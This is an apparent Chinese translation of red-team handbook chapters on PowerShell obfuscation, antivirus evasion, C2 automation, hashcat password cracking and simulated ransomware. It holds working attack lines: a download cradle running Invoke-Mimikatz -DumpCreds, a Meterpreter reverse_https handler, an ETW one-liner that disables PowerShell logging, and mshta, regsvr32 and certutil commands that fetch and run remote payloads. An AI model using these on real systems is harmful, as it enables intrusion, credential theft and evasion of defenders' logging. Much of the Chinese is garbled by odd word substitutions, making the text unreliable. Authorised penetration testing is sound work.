PowerShell 污染PowerShell Scripts 当前的问题是,如果你将它们放到磁盘上,许多防病毒器具齐会把它们检测出来。即使你将它们导入内存,观望内存的杀毒软件器具有时也会对它们发出警报。
非论如何,如果你从 Cobalt Strike、Meterpreter 或 PowerShell Empire 将它们导入内存,确保咱们不会被杀毒软件检测出来詈骂常浩瀚的。万一被检测出来的话,咱们至少应该让救急响应团队或取证团队很难去逆向咱们的障碍 payload。
咱们齐看过像这样的 PowerShell 呐喊:
这是咱们可能看到的最基本的 powershell 调用指示的字符串组合,可以用于绕过践诺策略,来以荫藏窗口的模式(后台运行无弹窗)自动下载和践诺 powershell payload。对于蓝队,咱们还是看到了许多对于这些特定参数的日记纪录,比如 -Exec Bypass。因此,咱们开首通过一些常见的 PowerShell 语法来污染此参数:
-ExecutionPolicy Bypass -EP Bypass -Exec Bypass -Execution Bypass感谢 Daniel Bohannon 的提醒!他提醒说:更落拓的是,咱们执行上不需要打出完整的参数字符串就能使它责任。举例,对于 -ExecutionPolicy Bypass,扫数下列示例齐可以见效:
-ExecutionPolicy Bypass -ExecutionPol Bypass -Executio Bypass -Exec Bypass -Ex Bypass这些时期也同样适用于 WindowStyle 以至 EncodedCommand 参数。天然,这些技巧不足以救援咱们走得更远,咱们还需要创建更多的污染变换。最先,咱们可以使用一个相称毛糙的示例来践诺咱们的长途 PowerShell 剧本(在本例中为 Mimikatz)并使用以管制员身份运行的 PowerShell 领导符来转储哈希值:
Invoke-Expression (New-Object Net.WebClient).DownloadString(‘’); Invoke-Mimikatz -DumpCreds译者注:
WindowStyle 和 EncodedCommand 是 PowerShell.exe 的选项参数。WindowStyle 可以改变 CMD 窗口的作风,将窗口形式接济为 Normal、Minimized、Maximized 或 Hidden。EncodedCommand 是接受 base-64 编码字符串版块的呐喊。使用此参数向 Windows PowerShell 提交需要复杂引号或大括号的呐喊。欲知更多参数,可以在 Windows Powershell 里面使用 powershell -help 呐喊观望。 Invoke-Expression 能将任何的字符串行动PowerShell剧原本践诺。以下附上对于 Invoke-Expression 的更多参考贵府: Invoke-Expression Invoke-Expression 匡助信息通过 Invoke-Obfuscation 污染框架,咱们可以使用以下几种不同的时期对这个字符串进行深度污染:
在 Windows 上,下载用于 Invoke-Obfuscation 的 PowerShell 文献( https://github.com/danielbohannon/Invoke-Obfuscation ) 加载 PowerShell 剧本并启动 Invoke-Obfuscation Import-Module ./Invoke-Obfuscation.psd1 Invoke-Obfuscation 接济要污染的 PowerShell 剧本。在这个例子中,咱们将污染上头的 Mimikatz 哈希值下载转储剧本 SET SCRIPTBLOCK Invoke-Expression (New-Object Net.WebClient).DownloadString(‘’); Invoke-Mimikatz -DumpCreds 对 payload 进行编码 ENCODING 在这个例子中,我采纳了 SecureString(AES),但你可以把扫数这些污染时期齐试一试。污染后的字符串包含一个随机生成的密钥和一个加密的安全字符串。在管制员权限下运行 PowerShell,咱们仍然可以践诺完整的 payload。
咱们也可以回到主屏幕并创建污染的 launcher:
main launcher CLIP++ 采纳你的践诺 flag更棒的是,观望 Windows PowerShell 日记咱们会发现,如果剧本是污染的,日记中也只是是纪录了污染后的东西。这个秉性可以匡助咱们逃避杀毒软件和 SEIM 警报器具。
除了 Invoke-Obfuscation 之外,Daniel 还创建了一个名为 Invoke-CradleCrafter 的器具,该器具专注于长途下载 cradle,是一个 PowerShell 2.0+ 版块兼容的 PowerShell 长途下载 cradle 生成器和污染器。Invoke-CradleCrafter 的 github README 文档中先容说,“Invoke-CradleCrafter 的存在是为了匡助蓝队和红队减弱探索、生成和污染 PowerShell 长途下载 cradle。此外,它可以匡助蓝队测试环境检测的有用性。Invoke-CradleCrafter 可以检测 Invoke-Obfuscation 产生的输出,然则在处理 Invoke-CradleCrafter 时可能会失败,因为它不包含任何字符串拼接、编码、复选标记、类型调换等”。
译者注: 什么是 cradle?一个 download cradle(下载 cradle)是一个用于下载和代码践诺的单行呐喊。日常可以在 maldoc 或 exploit 的末尾看到,践诺障碍生命周期中第二阶段的exploit/infection 下载。在某些情况下,比如障碍者运行无文献时,一个下载 cradle 也可以是其他障碍阶段的耐久性机制、器具或践诺的一部分。参考贵府:Powershell Download Cradles
不使用 PowerShell.exe 践诺 PowerShell 剧本你最终在一个主义机器上找到了长途代码践诺疏忽,然则你发现无法运行 PowerShell.exe 或该公司正在监视 PowerShell.exe 的呐喊。有哪些选项可以让你的 PowerShell payload 或 C2 代理在该主机系统上运行?
NoPowerShell(NPS)
我心爱 NoPowerShell 或 NPS 的倡导。NPS 是一个 Windows 二进制文献,它通过 .Net 践诺 PowerShell 剧本,而不是径直调用 PowerShell.exe。天然现在杀毒软件日常会标记这一丝,但咱们可以使用同样的倡导来创建二进制文献,以径直践诺咱们的 PowerShell 坏心软件而无需 PowerShell.exe。Ben0xA 还是为你提供了源代码 ,因此请纵容尝试对二进制文献进行污染处理以惩办杀毒软件的绕插手题。
NPS_Payload( https://github.com/trustedsec/nps_payload )
对 NPS 的另一种实施念念路是 TrustedSec 的一个器具,通过 MSBuild.exe 践诺代码。此器具将生成 PowerShell payload 到一个 msbuild_nps.xml 文献中,该文献在调用时践诺。此 XML 文献可以通过以下方式调用:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\<path_to_msbuild_nps.xml>SharpPick
SharpPick 是 PowerPick 的一个组件,它是一个很棒的器具,允许你在不调用 PowerShell.exe 二进制文献的情况下调用 PowerShell。在 SharpPick 中,“ RunPS 函数调用 System.Management.Automation 函数在 PowerShell 运行空间内践诺剧本,而无需启动 PowerShell 程度。” [ ?p=555 ]
下载 SharpPick 后,你可以使用你的 PowerShell Empire payload 并创建二进制文献。关系如何接济环境和构建 payload 的完整演练,请造访:
?p=555 https://bneg.io/2017/07/26/empire-without-powershell-exe/有时咱们可能没办法在主机系统上放一个二进制文献。在这种情况下,咱们可以创建一个类库(DLL 文献),将其放到主机系统上并使用 rundll32.exe runmalicious.dll,EntryPoint 践诺。
天然,这些 DLL 文献的创建可以由 Meterpreter 或 Cobalt Strike 自动完成,然则好在咱们可以无邪地运行特定的 PowerShell payload,而无需调用 PowerShell.exe。
译者注 译者找到的额外参考贵府:
对于 rundll32.exe 的著述:应用 rundll32.exe 运行 dll 绕过杀毒软件 对于不使用 PowerShell.exe 践诺 PowerShell 剧本的著述:PowerShell: Malwares use it without powershell.exe HideMyPSHideMyPS 是一个我几年前写的器具,于今它仍然广受好评。它一直齐只是个 POC 器具,但即使经过这样多年它仍然有用。我遭遇的问题是,现在职何 PowerShell 剧本齐会被杀毒软件检测。举例,如果咱们在带有 Windows Defender 的 Windows 系统上丢下了原生的 Invoke-Mimikatz.ps1,微软杀毒软件将立即启用查杀功能拿获 PowerShell 剧本并发送警告。这是传统杀毒软件的主要劣势之一,事实是它们日常在坏心软件中寻找相称特定的字符串。因此,我整理了一个小的 Python 剧本,该剧本领受 PowerShell 剧本并对扫数字符串进行污染处理(仅使用少许剧本对其进行测试,因此它远不足坐蓐代码)。
HideMyPS 将找到扫数函数并使用 ROT 对它们进行污染处理,从 PowerShell 剧本中删除扫数谛视,并切分字符串以逃避杀毒软件的静态签名分析检测。对于下一个例子,让咱们使用 Invoke_Mimikatz.ps1 并对其进行污染:
cd /opt/HideMyPS python hidemyps.py invoke_mimikatz.ps1 [filename.ps1]现在,望望原始文献和你创建的新文献之间的区别。最先,你可以看到函数称号全部污染,变量还是被改,字符串被解析为两半,况兼扫数谛视齐移除了。
你必须记着的一件事是咱们调动了 PowerShell 剧本中的扫数函数称号。因此,为了调用函数,咱们将不得不回顾咱们的污染文献,望望咱们作念了什么来替换 Invoke-Mimikatz 函数。在这个例子中,Invoke-Mimikatz 更名为 Vaibxr-Zvzvxngm。以下示例是在完全修补的 Windows 10 上运行的,其中 Windows Defender 还是更新到最新版块。
本章总结
作为红队成员或渗入测试工程师,咱们老是在与主机/蚁集检测器具玩猫捉老鼠的游戏。这即是为什么清醒潜在保护体系的责任机制、编写底层代码以径直与 Windows API 而不是 shell 呐喊进行交互,以及跳出框框进行创造性念念考这些才调詈骂常浩瀚的。如果你的关注点仅限于一些常用器具,那么你的入侵行动有很大的概率会在企业环境中被检测到。如果这些器具是公开的,那么安全厂商很可能会在它们刚出当前候就对其进行逆向况兼为它们开发签名。你可以应用当前已有的障碍器具并以某种方式对其进行定制化二次开发,使其不成被这些安全厂商识别。
第8章 特勤组——破解、疏忽应用和技巧
本章重心先容了一些我个东说念主发现的对红队和渗入测试齐有用的不同资源。这些资源可能不会在每个模拟入侵行动中齐用到,但对于特定场景或在某一次的案例中可能相称有用。
自动化随着基于启发式(heuristic-based)的端点保护变得越来越完善,咱们的障碍需要变得愈加飞速。咱们日常可以编写坏心软件来逃避杀毒软件和绕过驱动检测,然则一朝咱们开首在内存中调用 Mimikatz 或者进行横向移动到其他主机,咱们就会开首触发报警。为了惩办这个问题,我老是告诉红队,咱们的初步试探可以故意让蓝队拿获。因为日常情况下,蓝队在发现咱们使用的默许/基础坏心软件(或者只是进行了狭窄的污染)时就会将此视为告捷,但咱们的确凿目的是了解他们的环境。这是通过咱们的驱动 payload 在受害者的机器上自动运行多个窥探剧原本斥逐的。鄙人一节中,咱们将先容一些可以使咱们的一些障碍自动化的快速自动运行剧本。
使用 RC 剧本自动化运行 Metasploit对于 Metasploit,咱们可以使用以下方法高效地运行咱们的后渗入应用剧本:
搜索 Metasploit 中扫数的后渗入应用模块: msfconsole show post从骄贵的结果中,采纳你想要包含的扫数模块,以便在接收到一个 Meterpreter Shell 时自动践诺。在这个案例中,咱们将为咱们的障碍添加一个 privilege migrate 后渗入模块。要成立 Meterpreter Shell 以便让它在受障碍主机的驱动结合上运行此 payload,咱们需要指定一个 AutoRunScript 参数。你可以根据需要添加尽可能多的 AutoRunScripts 参数来转储(dump)关系系统和蚁集的信息,然后横向移动,以至更多!
创建处理步调 (Handler) 和 AutoRunScript:
创建处理程引言件 gedit handler.rc 成立处理步和谐自动运行剧本 use multi/handler set payload windows/meterpreter/reverse_https set LHOST 10.100.100.9 set LPORT 443 set AutoRunScript post/windows/manage/priv_migrate set ExitOnSession false set EnableStageEncoding true exploit -j 启动处理步调 msfconsole -r handler.rc 自动化运行 EmpireEmpire 具有与 Metasploit 资源文献雷同的功能,可以自动完成许多重迭性任务。最先,咱们需要创建一个文献(在咱们的示例中,咱们将创建一个名为 /opt/empire_autoload.rc 的文献)然后在咱们的 Empire 实例中加载它。
在一个单独的终局窗口中,创建一个处理程引言件:gedit /opt/empire_autoload.rc添加扫数你想要践诺的后渗入模块:
usemodule situational_awareness/network/powerview/get_user execute back usermodule situational_awareness/network/powerview/get_computer execute back在 Empire 中,加载 autoload.rc 资源文献:
agents autorun /opt/empire_autoload.rc powershell autorun show
如你所见,现代理结合时,它会自动运行 get_user 和 get_computer 的 PowerShell 剧本。这些剧本的扫数运行结果齐将存储在 agent.log 文献中。在这种情况下,咱们的代理称号是 N6LM348G,因此咱们的日记将存储在 /opt/Empire/downloads/N6LM348G/agent.log。
自动化运行 Cobalt StrikeCobalt Strike 如斯坚强的一个主要原因是因为它有 Aggressor 剧本。使用 Cobalt Strike 的 Aggressor 剧本,你不仅可以成立自动运行的剧本,还可以创建相称复杂的障碍。举例,我通常遭遇进犯分享责任站的场景,举例实验室劳动器或会议室盒子。我可能就会但愿咱们的代理机器最好能每隔半小时运行 Mimikatz 以获取明证书证。使用 Aggressor 剧本,咱们可以践诺扫数这些操作以至更多操作。底下是一个示例剧本: mimikatz-every-30m.cna。
Aggressor 其他剧本蚁合:
https://github.com/bluscreenofjeff/AggressorScripts https://github.com/harleyQu1nn/AggressorScripts 自动化的将来临了,有一些很酷的样子正朝着自动化,智能入侵和 APT 障碍的标的发展。我战胜入侵行动的将来是朝着自动化的标的发展的,咱们需要自动化地测试和验证咱们的安全收敛机制。我认为在发展这种自动化趋势方面具有巨大后劲的两个器具是:
Portia Caldera 密码破解我了解的最新的和最心爱的密码列表之一是来自最近发现的41 GB 大小的密码脱库,它包含14亿的用户名和密码( )。不外,我不想径直把下载连气儿展示出来,因为它包含许多明锐的用户名(或电子邮件)和关系密码,但你可以搜索 BreachCompilation.tar.bz2 以查找关系它的更多信息。鄙人载这些相称明锐的信息之前,请先观望你所在国度的法律。我建议你不要下载原始数据,只需下载密码列表即可。我还是下载了这个41GB 的字典,然后删除了扫数用户名和电子邮件,并整理出了只是密码的数据。位于:?type=THP-password 。
在我的个东说念主机器上,我使用8块技嘉 GV-N108TTURBO-11GD AORUS GeForce GTX 1080 Ti Turbo 11G 显卡,大要价值12,000好意思元,你也可以构建我方的一个机器,包括机箱、RAM、电源、SSD 和 GPU。天然,机箱至少需要一个4U机架(举例:SYS-4028GR-TR2)况兼供应充足的电。天然统统未低廉,但咱们每秒大要能胪列472,000,000,000个哈希值,可以爆破 Windows NTLM(Windows) 哈希。这是八个 GPU 的 hashcat 基准测试:
Hashmode: 1000 - NTLM Speed.Dev.#1…..: 59436.3 MH/s (63.16ms) Speed.Dev.#2…..: 58038.3 MH/s (64.70ms) Speed.Dev.#3…..: 59104.4 MH/s (63.55ms) Speed.Dev.#4…..: 59123.0 MH/s (63.52ms) Speed.Dev.#5…..: 58899.7 MH/s (63.74ms) Speed.Dev.#6…..: 59125.8 MH/s (63.51ms) Speed.Dev.#7…..: 59256.3 MH/s (63.36ms) Speed.Dev.#8…..: 59064.5 MH/s (63.56ms) Speed.Dev.#*…..: 472.0 GH/s
对于那些买不起大型 GPU 设备的东说念主来说,还有其他采纳。你可以商量在云劳动器中进行密码破解的操作,天然仍然不如何低廉。最近,亚马逊还是集成了 TESLA GPU(不是特斯拉汽车),它们比1080Ti 更坚强。对于如何使用这些 GPU 接济你我方的密码破解劳动器,在 Medium 上有一篇很棒的著述:https://medium.com/@iraklis/running-hashcat-v4-0-0-in-amazons-aws-new-p3-16xlarge-instance-e8fab4541e9b 。
来自 Iraklis Mathiopoulos 的著述中的数据:
译者注:Iraklis Mathiopoulos 是上头这篇著述的作家。
Hashmode: 1000 - NTLM: Speed.Dev.#1…..: 79294.4 MH/s (33.81ms) Speed.Dev.#2…..: 79376.5 MH/s (33.79ms) Speed.Dev.#3…..: 79135.5 MH/s (33.88ms) Speed.Dev.#4…..: 79051.6 MH/s (33.84ms) Speed.Dev.#5…..: 79030.6 MH/s (33.85ms) Speed.Dev.#6…..: 79395.3 MH/s (33.81ms) Speed.Dev.#7…..: 79079.5 MH/s (33.83ms) Speed.Dev.#8…..: 79350.7 MH/s (33.83ms) Speed.Dev.#*…..: 633.7 GH/s
对于同样的 NTLM 哈希值,使用 TESLA GPU 显卡破解的总速率比使用1080Ti GPU显卡大要快34%。然则运行 AWS 的总资本约为每小时25好意思元。因此,你需要根据我方的预算、需乞降主义来采纳。
实验:
最近,Have I Been Pwned 网站的创举东说念主 Troy Hunt 发布了一个 SHA1 密码哈希列表,压缩之后的体积大要为5.3 GB。这是有史以来的数据露出、脱库中一个相称大的列表了。这是一个测试你密码破解技巧的绝佳素材:
https://downloads.pwnedpasswords.com/passwords/pwned-passwords-1.0.txt.7z随着这些 GPU 的破解速率变得越来越快,10个字符以下的密码可以在相对合理的时辰范围内进行智能化破解。其中一些可以通过使用高质地的密码掩码来破解,然则大多数情况下,主要取决于密码列表自身的复杂程度。破解大于12个字符的密码的最快方法之一即是使用来自于真实数据露出事件的密码列表。回顾昔时扫数的数据露出事件,咱们可以很好地了解东说念主类如何创建密码,污染密码的常用技巧以及最常用的单词。使用复杂规则集配合这些密码字典,可以让咱们以极快的速率破解密码(有时超过25个字符)。但请记着,你的密码列表取决于你构建和重视它的程度。作为红队队员,咱们会如期追踪咱们破解的扫数帐户,对其进行分析并将其添加到咱们的密码字典中。咱们还会络续监控新的数据露出事件,造访 pastebin 和 pastie 网站等,以查找更新的密码。此处有一个很好的监控列表:https://inteltechniques.com/OSINT/pastebins.html 。
我最心爱的密码列表:
berzerk0的 Real-Password-WPA 密码列表: 18.6 GB 未压缩 berzerk0 的字典作风的列表: 1 GB 未压缩 Xato 的千万数目的密码 magnet:?xt=urn:btih:32E50D9656E101F54120ADA3CE73F7A65EC9D5CB Hashes.org https://hashes.org/left.php 几千兆字节,而且每天齐在增长 Crackstation 15 GB 未压缩 https://crackstation.net/files/crackstation.txt.gz Weakpass(弱密码) 大批的密码列表 https://weakpass.com/wordlist First20Hours 该样子包含按频率划定排列的10,000个最常见的英语单词列表,由 Google 的万亿字词数据库的 n-gram 频率分析细目。 https://github.com/cyberspacekittens/google-10000-english SkullSecurity.org 优秀的旧密码列表,如 rockyou,myspace,phpbb https://wiki.skullsecurity.org/Passwords Daniel Miessler 的密码编译 https://github.com/cyberspacekittens/SecLists Adeptus-mechanicus 哈希脱库 -mechanicus.com/codex/hashpass/hashpass.php通过优秀的密码列表组合,咱们可以基于列表添加规则来找到更多密码。就 Hashcat 而言,规则会细目是否需要在词表中进行任何修改和推广。描绘规则的最好方式是使用这一个易于清醒的示例。咱们可以使用 KoreLogicRulesAppendYears 规则集,如下所示:
cAz”19[0-9][0-9]” Az”19[0-9][0-9]” cAz”20[01][0-9]” Az”20[01][0-9]”它将在每个密码中添加1949年到2019年的年份字符串。比如,如果密码列表中包含单词 “hacker”,它就会使用 “hacker1949” 来尝试破解哈希值,一直试到 “hacker2019”。请记着,你领有的密码规则越复杂,通过单词列表中的扫数单词破解主义所需的时辰就越长。
红运的是,咱们不需要创建我方的规则,因为网上还是有许多很好的规则。天然,还有默许的 Hashcat 规则,它来自许多较旧的数据露出,以及常见的密码破解时期。这是一个很好的启航点。Kore 规则来自 Korelogic 的密码竞赛,是其圭臬之一。另外的两个规则需要的时辰更久,但也有相称详备的规则集,分别是 NSAKEY 和 Hob0Rules。在昔时,我会采取扫数的规则,将它们编入单个文献,并对文献去重。然则,现在,NotSoSecure 规则执行上还是为你作念好了这些责任。
规则:
Hashcat Rules https://github.com/hashcat/hashcat/tree/master/rules Kore Rules -2010.korelogic.com/rules-hashcat.html NSAKEY Rules(我的最爱之一) https://github.com/cyberspacekittens/nsa-rules Praetorian-inc Hob0Rules https://github.com/cyberspacekittens/Hob0Rules NotSoSecure —— 此规则包含上头全部规则 https://github.com/cyberspacekittens/password_cracking_rules注:NSAKEY Rules、Praetorian-inc Hob0Rules 和 NotSoSecure 是原仓库的 Fork 版块。
透顶破解全部 —— 尽可能多地快速破解你现在已有从 Cyber Space Kittens 入侵行动得回的一个很大的密码列表。那么在有限的时辰内,如何能得回最好的收益呢?以下演练将领导你完成驱动智商来尽可能多地破解密码。天然,咱们日常只需要找到几个域管制员/LDAP 管制员/公司管制员帐户,但我的免强症倾向让我试图破解扫数密码。
在开首之前,你确乎需要了解你的那些哈希值的密码样子。Hashcat 有一个很好的列表,展示不同类型的哈希值的示例。一朝你知说念了是什么类型的哈希算法,最好先进行一些驱动测试,以细目该密码哈希算法的速率是快照旧慢。这将对你的密码破解方法有巨大的影响。举例,在观望 Windows 系统下使用哈希算法时,咱们看到 NTLM(Windows) 践诺速率大要为75,000 MH/s。在 Linux下 运行 SHA-256算法的践诺速率约为5,000 MH/s。
这意味着对于 SHA-256哈希,你的 GPU 可以每秒破解5,000,000,000次。这可能看起来许多,然则当你有大批的单词列表和很大的规则集时,这个速率可能不够瞎想。这是因为与每秒运算75,000,000,000个哈希值的 NTLM 比拟,SHA-256算法的策动速率相称慢且资本高。在咱们的例子中,咱们将负重致远,咱们将使用8个1080TI GPU 并使用 NTLM 的快速哈希转储(dump)功能。
破解 CyberSpaceKittens NTLM 哈希:得回域管制员造访权限后,你使用 DCSync 障碍从域收敛器转储扫数哈希值。你现在的主义是尝试尽可能多地破解哈希。因为你知说念,你将能够在将来的入侵行为中使用这些帐户,并向受害者公司展示他们使用的不安全的密码的作念法。
最先,咱们将扫数 NTLM Windows 哈希保存在一个名为 cat.txt 的文献中。为了使输出结果更易于阅读,咱们将不祥驱动的 hashcat 践诺呐喊。每个呐喊践诺齐将以 hashcat -w 3 -m 1000 -o hashes.cracked ./hashes/cat.txt 开始。
这句呐喊的兴趣为:
hashcat: 运行 hashcat -w 3: 使用调养的成立文献 -m 1000: 哈希样子是 NTLM -o hashes.cracked: 将结果输出到一个文献中 ./hashes/cat.txt: 咱们的哈希存储的地址因此,每当你看到 [hashcat] 字符串时,请使用此呐喊替换它:hashcat -w 3 -m 1000 -o hashes.cracked ./hashes/cat.txt。现在,让咱们在 8 GPU 1080TI 设备上快速高效地破解 NTLM 哈希。
使用 brute-force(-a 3)的障碍模式破解扫数长度少于等于7个字符的密码。字符可以是任何字母、数字或者特殊字符(?a),启用增量破解模式从一个字符到七个字符进行尝试(--increment)。 [hashcat] -a 3 ?a?a?a?a?a?a?a --increment 对于7个字符(字母/数字/特殊字符)的密码,破解总时辰约为5分钟。咱们可以接济为8个字符,但咱们看到接济8字符后,运行了9个小时。 你还可以将特殊字符收敛为少数几个(!@ #$ % ^),这能显赫减少时辰和复杂性。 接下来,将扫数常见密码列表转储与咱们的哈希值进行比较。第一个文献(40GB_Unique_File.txt)是一个3.2GB 的密码文献,运行大要需要9秒: [hashcat] ./lists/40GB_Unique_File.txt 咱们可以看到,速率快到即使是这样大的文献,运行也只需要几秒钟。为了提高效率,咱们执行上可以使用 * 运算符并与咱们的 ./lists/ 文献夹中的每个密码列表进行比较。 [hashcat] ./lists/* 接下来,基于哈希算法的速率,咱们可以对单个密码列表文献尝试不同的规则集。咱们将从 RockYou 规则集开首,破解这些 NTLM 哈希值大要需要2分9秒: [hashcat] ./lists/40GB_Unique_File.txt -r ./rules/rockyou-30000.rule 扎眼:使用3 GB 文献接济的 NSAKEY 规则大要需要7分钟,使用 NotSoSecure 规则集(组合了其他扫数规则集的规则集)大要需要20分钟。 当我用回其他密码列表和规则集组合时。跟扫数大型规则集和大型密码露出列表的第一次破解比较,咱们日常可以至少提高30%以上的效率。 接下来,咱们可以开首在密码列表的右侧添加字符,以提高破解更长密码的成功率。底下看到的 -a 6 呐喊会将每个字母/数字/特殊字符添加到密码右侧,从一个字符开首一直到最多四个字符: [hashcat] -i -a 6 ./lists/found.2015.txt ?a?a?a?a 扎眼:这需要大要30分钟才能完成四个字符 咱们也可以在密码列表的左侧添加字符。以下呐喊将每个字母/数字/特殊字符添加到密码的左侧,从一个字符开首一直到最多四个字符: [hashcat] -i -a 7 ?a?a?a?a ./lists/40GB_Unique_File.txt 扎眼:这需要大要30分钟才能完成四个字符 Hashcat Utils:https://github.com/hashcat/hashcat-utils/releases 。Hashcat 有许多器具可以匡助构建更好的密码列表。一个例子是组合器,它可以领受两个或三个不同的密码列表并进行组合。使用小列表相对较快。使用咱们的 shortKrak 列表并将其与自身相结合会导致相称快速的破解: ./hashcat-utils-1.8/bin/combinator.bin lists/shortKrak.txt lists/shortKrak.txt > lists/comboshortKrak.txt 使用一些列表比如“谷歌排名 top1000单词”会生成一个约1.4 GB 的文献,因此你必须扎眼你采纳的文献的大小。 ./hashcat-utils-1.8/bin/combinator.bin lists/google_top_1000.txt lists/google_top_1000.txt > lists/google_top_1000_combo.txt 扎眼:使用一个4MB 文献并运行 combinator 将导致生成体积一个大于25GB 的文献。是以,要当心这些文献的体积大小。 许多时候,东说念主们使用最多的密码不是常见的字典单词,而是基于他们的公司、家具或劳动的单词。咱们可以使用客户网站创建自界说密码列表。可以提供匡助的两个器具是: Brutescrape Burp Wordlist Extractor 接下来,使用 PACK (Password Analysis and Cracking Kit) 器具对扫数破解的密码进行分析并创建掩码: python ./PACK-0.0.4/statsgen.py hashes.password python ./PACK-0.0.4/statsgen.py hashes.password --minlength=10 -o hashes.masks python ./PACK-0.0.4/maskgen.py hashes.masks --optindex -q -o custom-optindex.hcmask译者注:本书作家给出的对于 PACK 的连气儿为: ,然则你只须点了试试就会发现现在这个结合被自动跳转到 PACK 作家的博客了。译文中的 PACK 器具的地址是译者我方在 Github 找到的,因为连气儿变了,是以上头的 python 语句内行根据情况作念出调养。可以参考该器具的 README,相称详备。
使用新创建的掩码进行密码破解: [hashcat] -a 3 ./custom-optindex.hcmask 使用 Pipal 分析你的密码列表可以更好地清醒密码的基本词汇: cd /opt/pipal ./pipal.rb hashes.password 望望这个列表,你可能会发现这家公司使用resetme12345作为默许密码,可能位于密歇根州(列内外有底特律、老虎、足球这些词汇)。那么下一步咱们作念什么?还是有许多对于不同的密码生成器具、密码分析和其他时期的很好的研究,目的是找到更快的破解密码的方法。若你有意思,这里给出一些贵府:
PassGAN:使用深度学习方法进行密码破解 快速、精益、准确:使用神经蚁集建模的密码可猜测性 具有转变性的的入侵行动作为公司的里面红队可以有契机参加具有转变性的的入侵行动。我最心爱的行动之一是模拟诈骗软件。在昔时,咱们被允许在 WannaCry 大面积爆发的时期进行模拟诈骗软件行动。随着加密软件和诈骗软件越来越受迎接,咱们确乎需要有才调测试咱们的业务收复和遭难收复步调。咱们在现实生计中见证了这一丝,WannaCry 通过 SMB 进行横向移动,应用 EternalBlue ,加密文献等障碍,以至删除了主机系统上的扫数备份。作为一个 IT 组织,咱们需要问我方的问题是,如果咱们的某个用户点击了该坏心软件,会产生什么影响?咱们可以收复用户文献、分享文献、数据库等东西吗?咱们一直听到的谜底是,“我合计可以......”,但如果莫得红队提前验证的过程,咱们最终会比及咱们的屋子被烧成灰后才知说念是不是的确可以。
这即是为什么我心爱公司里面进行红队评估的原因。咱们可以在受控环境中确凿解释并验证安全性和 IT 是否正常运行。对于这本书,我莫得列举任何咱们的诈骗软件的例子,因为这样作念很危机。我将让你负责构建器具并以批准的方法测试你的客户。
模拟诈骗软件行动领导:
有些公司执行上不会让入侵者删除或加密文献。对于这些公司,你可以进行模拟诈骗软件障碍。一朝坏心软件被践诺,它所作念的即是扫描主机和蚁集中的浩瀚文献,将每个文献读入内存,践诺随机字节交换,将这些字节发送到 C2 劳动器,并包含元数据。这将展示出你能够操作的文献数目,在检测到流量之前可以从蚁集中渗入出的数据量以及可以收复的文献数目。 观望其他诈骗软件样本以观望他们正在加密的文献类型。这可以创造一个更接近现实的行动。举例,观望 WannaCry 中的文献类型( https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168 )。 如果你要 “加密” 坏心软件,请使用毛糙的方法。它可以是带有密钥的圭臬 AES,一个群众或独到的 x509 证书,或某种按位异或。制作它越复杂,无法收复文献的可能性就越大。 测试、测试和测试。你可以预感的最恶运的事情是让主义公司无法收复错误文献,况兼你的解密过程还不起作用。 许多下一代杀毒软件基于链中的某些动作会自动阻难诈骗软件。举例,诈骗软件可能践诺的正常检测是:扫描系统中扫数类型为 X 的文献,加密 X 文献,删除磁盘中的副本以及禁用备份。想要绕过检测过程的话,要么降速诈骗软件的行为进程,要么通过不同的进程达到同样的目的。 禁用 PowerShell 纪录作为红队队员,咱们一直在寻找特别的方法来尝试和禁用任何类型的日记纪录。天然现在也有办法践诺这些障碍,但咱们仍在络续寻找新的更毛糙的时期。
以下是一个 leechristensen 写的示例,可用于禁用 PowerShell 日记纪录:
$EtwProvider = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static'); $EventProvider = New-Object System.Diagnostics.Eventing.EventProvider -ArgumentList @([Guid]::NewGuid()); $EtwProvider.SetValue($null, $EventProvider); 从呐喊行结合蚁集下载 Windows 文献如果你通过应用步调疏忽得回了呐喊践诺,又或者是通过 Office 或 PDF 文献获取了 shell,那么接下来的智商可能是下载并践诺你的辅助坏心软件。
对于这些情况,咱们可以应用 Windows 的一些秉性来完成任务。大多数这些例子来自 arno0x0x 和 @subtee 的不凡的研究后果( https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code )。
mshta vbscript:Close(Execute(“GetObject(““script: ””)”)) mshta rundll32.exe javascript:"..\mshtml,RunHTMLApplication";o=GetObject("script:");window.close(); regsvr32 /u /n /s /i: scrobj.dll certutil -urlcache -split -f payload certutil -urlcache -split -f payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll certutil -urlcache -split -f payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe这些只是其中几个例子,还有更多通过呐喊行来践诺辅助代码的方法。你还可以络续研究,望望是否还有其他时期可以用来从传统的日记纪录中归隐萍踪。
从腹地管制员权限到系统权限从腹地管制员帐户权限耕作到 System 权限可以通过多种方式完成。天然,最常见的方法是使用 Metasploit 的 getsystem,但这并不老是可行的。decoder-it 创建了一个相称棒的 PowerShell 剧本,通过创建一个新程度并将该新程度的父程度 PID 接济为 System 所领有,从而让腹地管制员权限的 PowerShell 领导符转到 System 权限。可以在此处找到此 PowerShell 剧本。
践诺以下操作:
PS> . .\psgetsys.ps1 PS>[MyProcess]::CreateProcessFromParent(<process_run_by_system>, <command_to_execute>) 在不触及 LSASS 的情况下检索 NTLM 哈希值Elad Shamir 对怎样在不合 lsass.exe 程度进行操作的情况下抓取 NTLM 哈希进行了平庸的研究。在这种障碍之前,通过 Mimikatz 操作 LSASS 抓取哈希值的操作受到 Windows 10企业版和 Windows Server 2016中的凭证保护的收敛。Elad 开发了一种称为 Internal Monologue Attack 的障碍,它践诺以下操作:
如上所述,通过将 LMCompatibilityLevel、NTLMMinClientSec 和 RestrictSendingNTLMTraffic 调动为适当的值来禁用 NetNTLMv1 的细心肠收敛。 从当前正在运行的程度中检索扫数非蚁集登录令牌并模拟关联的用户。 对于每个模拟用户,得回正在运行的用户 token,模拟用户同 NTLM SSP 进行交互,收敛 Challenge 为固定值,导出复返的 Net-NTLMv1 响应。 收复 LMCompatibilityLevel、NTLMMinClientSec 和 RestrictSendingNTLMTraffic 的原始值。 [https://github.com/eladshamir/Internal-Monologue]译者注 参考贵府:Windows 下的密码 hash——Net-NTLMv1 先容
